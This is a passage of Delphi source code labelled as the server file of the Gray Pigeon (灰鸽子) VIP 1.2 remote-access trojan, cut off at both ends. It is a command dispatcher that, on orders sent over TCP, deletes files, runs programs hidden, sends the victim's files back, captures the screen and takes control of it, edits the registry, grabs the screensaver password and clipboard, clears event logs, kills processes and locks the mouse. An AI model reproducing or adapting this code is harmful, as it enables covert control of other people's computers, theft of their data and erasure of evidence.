mainserver.pas

灰鸽子VIP1.2经典源代码

                        end;
                      Mycopyfile(Path2,Path1);
                    end;
                end;
            except
            end;
          end;

        Request:='003';
        Request:=EncodeBase64(Request);
        IdTCPClient1.Write(Request+EOL);
     except
     end;
     Exit;
   end;
 {------------------------------------}
 if StrTmpList[1]='004' then   {停止捕获}
   begin
     try
       if ScreenOver then ScreenCapture.Terminate;
       if ScrConOver then ScrControl.Terminate;
     except
     end;
     Exit;
   end;
 {------------------------------------}
 if StrTmpList[1]='005' then   {删除文件或文件夹}
   begin
     try
        for i:=StrTmpList.Count-1 downto 2 do
          begin
            try
              if Copy(StrTmpList[i],length(StrTmpList[i]),1)='\' then
                begin
                  if DirectoryExists(StrTmpList[i]) then
                     DoRemoveDir(StrTmpList[i]);
                end
                else begin
                  if FIleExists(StrTmpList[i])  then
                    begin
                      FilesetAttr(StrTmpList[i],0);
                      DeleteFile(StrTmpList[i]);
                    end;
                end;
            except
            end;
          end;
        Request:='003';
        Request:=EncodeBase64(Request);
        IdTCPClient1.Write(Request+EOL);          
     except
     end;
     Exit;
   end;

 {------------------------------------}
 if StrTmpList[1]='007' then   {重命名}
   begin
     try
       Path1:=StrTmpList[2];
       Path2:=StrTmpList[3];
        try
          Renamefile(Path1,Path2);
        except
        end;
       Request:='003';
       Request:=EncodeBase64(Request);
       IdTCPClient1.Write(Request+EOL);
     except
     end;
     Exit;
   end;
 {------------------------------------}
 if StrTmpList[1]='008' then   {新建文件夹}
   begin
     try
       Temp:=StrTmpList[2];
       i:=0;
       while DirectoryExists(Temp) do
        begin
          inc(i);
          Temp := GetFilepath(StrTmpList[2])+ GetFileName(StrTmpList[2])+ '(' + inttoStr(i) + ')';
        end;
       CreateDir(Temp);
       Request:='003';
       Request:=EncodeBase64(Request);
       IdTCPClient1.Write(Request+EOL);
     except
     end;
     Exit;
   end;
 {------------------------------------}
 if StrTmpList[1]='009' then   {新建文件}
   begin
     try
       Temp:=StrTmpList[2];
       i:=0;
       while FileExists(Temp) do
         begin
           inc(i);
           Temp := GetFilepath(StrTmpList[2])+ '新建(' + inttoStr(i) + ')'+ GetFileName(StrTmpList[2]);
         end;
       try
            RsFileS :=TFileStream.Create(Temp,fmCreate or fmShareDenyNone);
            RsFiles.Free;
       except
       end;
       Request:='003';
       Request:=EncodeBase64(Request);
       IdTCPClient1.Write(Request+EOL);
     except
     end;
     Exit;
   end;

 {------------------------------------}
 if StrTmpList[1]='010' then   {远程运行文件}
   begin
     try
       try
         Path1:=StrTmpList[3];
         Path2:=StrTmpList[4];
           case Strtoint(StrTmpList[2]) of
             0:ShellExecute(0, nil, pchar(Path1),pchar(Path2), nil, SW_NORMAL);
             1:ShellExecute(0, nil, pchar(Path1),pchar(Path2), nil, SW_HIDE);
             2:ShellExecute(0, nil, pchar(Path1),pchar(Path2), nil, SW_MAXIMIZE);
             3:ShellExecute(0, nil, pchar(Path1),pchar(Path2), nil, SW_MINIMIZE);
           end;
           Temp:=EncodeBase64('Cmd001');   //远程打开成功.
       except
         Temp:=EncodeBase64('Cmd002');    //远程打开失败.
       end;
       Request:='004';
       Request:=EncodeBase64(Request);
       IdTCPClient1.Write(Request+EOL);
       IdTCPClient1.Write(Temp+EOL);
     except
     end;
     Exit;
   end;

 {------------------------------------}
 if StrTmpList[1]='011' then   {下载文件}
   begin
     try
       DownLoadThread:=TDownLoadThread.Create;
     except
     end;
     Exit;
   end;
 {------------------------------------}
 if StrTmpList[1]='012' then   {本地打开文件}
   begin
     try
       Request:='017';
       Request:=EncodeBase64(Request);
       IdTCPClient1.Write(Request+EOL);
       AssignFile(FromF,StrTmpList[2]);
       FileMode:=0;
       Reset(FromF);
       Seek(FromF,0);
       IdTCPClient1.WriteInteger(FileSize(FromF));
       repeat
         try
           IdTCPClient1.OpenWriteBuffer;
           BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
           IdTCPClient1.WriteBuffer(Buf,NumRead);
           IdTCPClient1.CloseWriteBuffer;
         except
           CloseFile(FromF);
           Exit;
         end;
       until (NumRead = 0);
       CloseFile(FromF);
     except
     end;
     Exit;
   end;
 {------------------------------------}
 if StrTmpList[1]='013' then   {捕获屏幕}
   begin
     try
       if ScreenOver then ScreenCapture.Terminate;
       ScreenCapture:=TScreenCaptureThread.Create;
       if ScrConOver then ScrControl.Terminate;
       ScrControl:=TScrControlThread.Create;
     except
     end;
     Exit;
   end;
 {------------------------------------}
 if StrTmpList[1]='014' then   {读取注册表根键}
   begin
     try
      TheKeyNames := TStringList.Create;
      TempList:= TStringList.Create;
      Path1:=StrTmpList[2];
      Reg := TRegistry.Create;
      try
        if Path1 = 'HKEY_CLASSES_ROOT' then Reg.RootKey := HKEY_CLASSES_ROOT;
        if Path1 = 'HKEY_CURRENT_USER' then Reg.RootKey := HKEY_CURRENT_USER;
        if Path1 = 'HKEY_LOCAL_MACHINE' then Reg.RootKey := HKEY_LOCAL_MACHINE;
        if Path1 = 'HKEY_USERS' then Reg.RootKey := HKEY_USERS;
        if Path1 = 'HKEY_CURRENT_CONFIG' then Reg.RootKey := HKEY_CURRENT_CONFIG;
        if Path1 = 'HKEY_DYN_DATA' then Reg.RootKey := HKEY_DYN_DATA;
        Path2:='';
         if Reg.OpenKey(StrTmpList[3], False) then //打开键
           begin
             Reg.GetKeyNames(TheKeyNames); //读取键名列表
             for i := 0 to TheKeyNames.Count - 1 do
               begin
                 TempList.add(TheKeyNames[i]);
               end;
              Path2:=TempList.Text;
           end;
        Reg.CloseKey;
      finally
        Reg.Free;
      end;
     except
     end;
     if Path2='' then Path2:='<|000|>';
     SendStreamToClient(IdTCPClient1,'005',Path2);
     Exit;
  end;

 {------------------------------------}
   if StrTmpList[1]='015' then      {读取注册表键值}
     begin
         Request:=Reg_value(StrTmpList);
         SendStreamToClient(IdTCPClient1,'006',Request);
       Exit;
     end;

{------------------------------------}
  if StrTmpList[1]='016' then  begin   {修改建值}
     try
       Editregvalue(StrTmpList);
       Request:=Reg_value(StrTmpList);
       SendStreamToClient(IdTCPClient1,'006',Request);
     except
     end;
     Exit;
  end;

{------------------------------------}
  if StrTmpList[1]='017' then  begin   {删除建值}
     try
       Deleteregvalue(StrTmpList);
       Request:=Reg_value(StrTmpList);
       SendStreamToClient(IdTCPClient1,'006',Request);
     except
     end;
     Exit;
  end;
{------------------------------------}
  if StrTmpList[1]='018' then  begin    {键名重命名}
     try
       Editregvalue(StrTmpList);
       Request:=Reg_value(StrTmpList);
       SendStreamToClient(IdTCPClient1,'006',Request);
     except
     end;
     Exit;
  end;

{------------------------------------}
  if StrTmpList[1]='019' then  begin   {新建注册表键名}
     try
       Newregvalue(StrTmpList);
       Request:=Reg_value(StrTmpList);
       SendStreamToClient(IdTCPClient1,'006',Request);
     except
     end;
     Exit;
  end;

{------------------------------------}
  if StrTmpList[1]='020' then  begin   {删除注册表主建}
     try
       Deleteregkey(StrTmpList);
       Request:=Reg_value(StrTmpList);
       SendStreamToClient(IdTCPClient1,'006',Request);
     except
     end;
     Exit;
  end;

{----------------------------------}
  if StrTmpList[1]='021' then
  begin  {系统信息}
     Request:=SystemXingxi;
     SendStreamToClient(IdTCPClient1,'007',Request);
     Exit;
  end;

{------------------------------------}
  if StrTmpList[1]='024' then
  begin  {屏幕保护密码}
     Request:=GetPassword+#13#10;
     SendStreamToClient(IdTCPClient1,'007',Request);
   Exit;
  end;
 {------------------------------------}
  if StrTmpList[1]='025' then
  begin  {清除日志文件}
     try
          if WinisNT then
          begin
            Request:='Cmd003'; //清除日志完成！
            ClsLog:=TCleanerLogThread.Create();
          end else
            Request:='Cmd004';  //非服务器主机，没有日志！
     except
     end;
     SendStreamToClient(IdTCPClient1,'004',Request);
   Exit;
  end;
{------------------------------------}
  if StrTmpList[1]='026' then
  begin  {剪切板的内容}
     Request:=Clip_Text;
     SendStreamToClient(IdTCPClient1,'008',Request);
     Exit;
  end;
{------------------------------------}
  if StrTmpList[1]='027' then  begin  {进程内容}
     Request:=Savenowtask;
     SendStreamToClient(IdTCPClient1,'009',Request);
     Exit;
  end;
{------------------------------------}
  if StrTmpList[1]='028' then  begin  {终止进程}
    try
        EnableDebugPrivilege;
        H:=OpenProcess(Process_All_Access, True,ThreadID[Strtoint(StrTmpList[2])]);
        GetExitCodeProcess(H,II);
        TerminateProcess(H,II);
    except
    end;
     Sleep(300);
     Request:=Savenowtask;
     SendStreamToClient(IdTCPClient1,'009',Request);
     Exit;
  end;
{------------------------------------}
  if StrTmpList[1]='029' then
  begin   {搜索所有窗口}
     Request:=Searchallwindow;
     SendStreamToClient(IdTCPClient1,'010',Request);
     Exit;
  end;
{------------------------------------}
  if StrTmpList[1]='030' then  begin   {关闭窗口}
     try
       SendMessage(allhwnd[Strtoint(StrTmpList[2])],WM_Close,0,0);
     except
     end;
     Request:=Searchallwindow;
     SendStreamToClient(IdTCPClient1,'010',Request);
     Exit;
  end;

{------------------------------------}
  if StrTmpList[1]='031' then  begin   {隐藏窗口}
     try
       Showwindow(allhwnd[strtoint(StrTmpList[2])],SW_Hide);
     except
     end;
     Request:=Searchallwindow;
     SendStreamToClient(IdTCPClient1,'010',Request);
     Exit;
  end;
{------------------------------------}
  if StrTmpList[1]='032' then  begin   {显示窗口}
     try
       Showwindow(allhwnd[strtoint(StrTmpList[2])],SW_Show);
     except
     end;
     Request:=Searchallwindow;
     SendStreamToClient(IdTCPClient1,'010',Request);
     Exit;
  end;
{------------------------------------}
  if StrTmpList[1]='033' then  begin   {禁用窗口}
     try
       EnableWindow(allhwnd[strtoint(StrTmpList[2])],False);
     except
     end;
     Request:=Searchallwindow;
     SendStreamToClient(IdTCPClient1,'010',Request);
     Exit;
  end;
{------------------------------------}
  if StrTmpList[1]='034' then  begin   {恢复窗口}
     try
       EnableWindow(allhwnd[strtoint(StrTmpList[2])],True);
     except
     end;
     Request:=Searchallwindow;
     SendStreamToClient(IdTCPClient1,'010',Request);
     Exit;
  end;
{------------------------------------}
  if StrTmpList[1]='035' then  begin   {锁定鼠标}
     lockmouse(true);
     Request:='004';
     Request:=EncodeBase64(Request);
     IdTCPClient1.Write(Request+EOL);
     Request:=EncodeBase64('Cmd005');     //鼠标锁定成功!
     IdTCPClient1.Write(Request+EOL);
     Exit;
  end;
{------------------------------------}
  if StrTmpList[1]='036' then  begin   {鼠标解锁}
     lockmouse(False);
     Request:='004';
     Request:=EncodeBase64(Request);
     IdTCPClient1.Write(Request+EOL);
     Request:=EncodeBase64('Cmd006');           //鼠标解锁成功!
     IdTCPClient1.Write(Request+EOL);
     Exit;
  end;
{------------------------------------}
  if StrTmpList[1]='037' then
   begin   {鼠标左右键交换}
     try
       SwapMouseButton(true);
     except
     end;
     Request:='004';
     Request:=EncodeBase64(Request);
     IdTCPClient1.Write(Request+EOL);
     Request:=EncodeBase64('Cmd007');      //鼠标左右键交换成功!
     IdTCPClient1.Write(Request+EOL);
     Exit;
  end;
{------------------------------------}
  if StrTmpList[1]='038' then
   begin   {恢复鼠标左右键交换}
     try
       SwapMouseButton(False);
     except
     end;
     Request:='004';
     Request:=EncodeBase64(Request);
     IdTCPClient1.Write(Request+EOL);
     Request:=EncodeBase64('Cmd008');   //恢复鼠标左右键交换成功!
     IdTCPClient1.Write(Request+EOL);
     Exit;
  e